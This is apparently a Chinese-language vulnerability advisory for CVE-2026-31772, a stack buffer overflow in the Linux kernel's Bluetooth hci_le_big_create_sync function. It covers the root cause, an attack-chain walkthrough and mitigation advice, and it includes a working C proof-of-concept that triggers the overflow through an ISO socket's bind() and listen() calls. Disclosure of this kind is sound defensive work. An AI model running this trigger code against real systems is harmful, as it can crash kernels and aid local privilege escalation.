IPBUF安全漏洞报告
English
CVE-2026-31772 CVSS 7.8 高危

CVE-2026-31772 Linux内核蓝牙栈缓冲区溢出漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31772
漏洞类型
缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

缓冲区溢出Linux内核蓝牙栈溢出本地权限提升

漏洞概述

Linux内核的蓝牙HCI同步处理中存在一个严重的栈缓冲区溢出漏洞。该漏洞位于`hci_le_big_create_sync`函数中,由于定义的栈缓冲区大小(17个BIS条目)小于实际允许输入的最大数量(31个BIS条目),导致在复制数据时发生越界写入。本地低权限攻击者可通过特定的ISO socket操作触发此漏洞,造成内核内存破坏,可能导致系统崩溃或权限提升。

技术细节

漏洞根源在于`net/bluetooth/hci_sync.c`中的`hci_le_big_create_sync`函数。该函数使用`DEFINE_FLEX`分配栈空间,错误地将BIS条目上限硬编码为0x11(17)。然而,调用路径`hci_conn_big_create_sync`仅验证了`conn->num_bis`不超过`ISO_MAX_NUM_BIS`(31)。当攻击者通过socket接口传入大于17的BIS数量(例如31)并调用`listen()`时,内核会执行`memcpy`操作,将最多31个条目的数据复制到仅能容纳17个条目的栈缓冲区中。这导致了多达14字节的栈溢出,覆盖了函数返回地址或其他局部变量,破坏了内核栈的完整性。CVSS 3.1向量为AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,表明攻击者需本地访问且无需用户交互即可造成严重影响。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限用户访问权限。
STEP 2
步骤2
攻击者创建一个Bluetooth ISO socket (AF_BLUETOOTH, BTPROTO_ISO)。
STEP 3
步骤3
攻击者配置socket地址结构,将`iso_bc_num_bis`设置为31(超过内核栈分配的17)。
STEP 4
步骤4
攻击者调用`bind()`系统调用,绑定配置好的socket。
STEP 5
步骤5
攻击者调用`listen()`系统调用,触发内核处理BIG同步创建逻辑。
STEP 6
步骤6
内核执行`hci_le_big_create_sync`,发生栈缓冲区溢出,覆盖相邻内存,导致系统崩溃或代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31772: Stack Buffer Overflow in hci_le_big_create_sync * Trigger: Create ISO socket with bc_num_bis=31 and call listen(). * Compile: gcc -o poc_cve2026_31772 poc_cve2026_31772.c -lbluetooth */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/bluetooth.h> #include <linux/iso.h> #define ISO_MAX_NUM_BIS 31 int main() { int sock; struct sockaddr_iso addr; // Create an ISO socket sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.iso_family = AF_BLUETOOTH; bacpy(&addr.iso_bdaddr, BDADDR_ANY); // Set bc_num_bis to 31 to trigger the stack overflow // Kernel stack allocates for 17, input allows up to 31. addr.iso_bc_num_bis = ISO_MAX_NUM_BIS; // Initialize BIS array for(int i = 0; i < ISO_MAX_NUM_BIS; i++) { addr.iso_bc_bis[i] = i + 1; } // Bind the socket with malicious parameters if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // Trigger the vulnerable kernel path printf("[+] Triggering hci_le_big_create_sync overflow via listen()...\n"); if (listen(sock, 1) < 0) { perror("listen"); close(sock); return 1; } printf("[+] Done. Check dmesg for KASAN stack-out-of-bounds report.\n"); close(sock); return 0; }

影响范围

Linux Kernel (未应用修复补丁的版本)

防御指南

临时缓解措施
建议立即更新Linux内核以修复此漏洞。如果暂时无法更新,可以禁用蓝牙内核模块(移除bluetooth相关模块加载)或严格限制本地非特权用户对蓝牙设备的访问权限,以减少被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表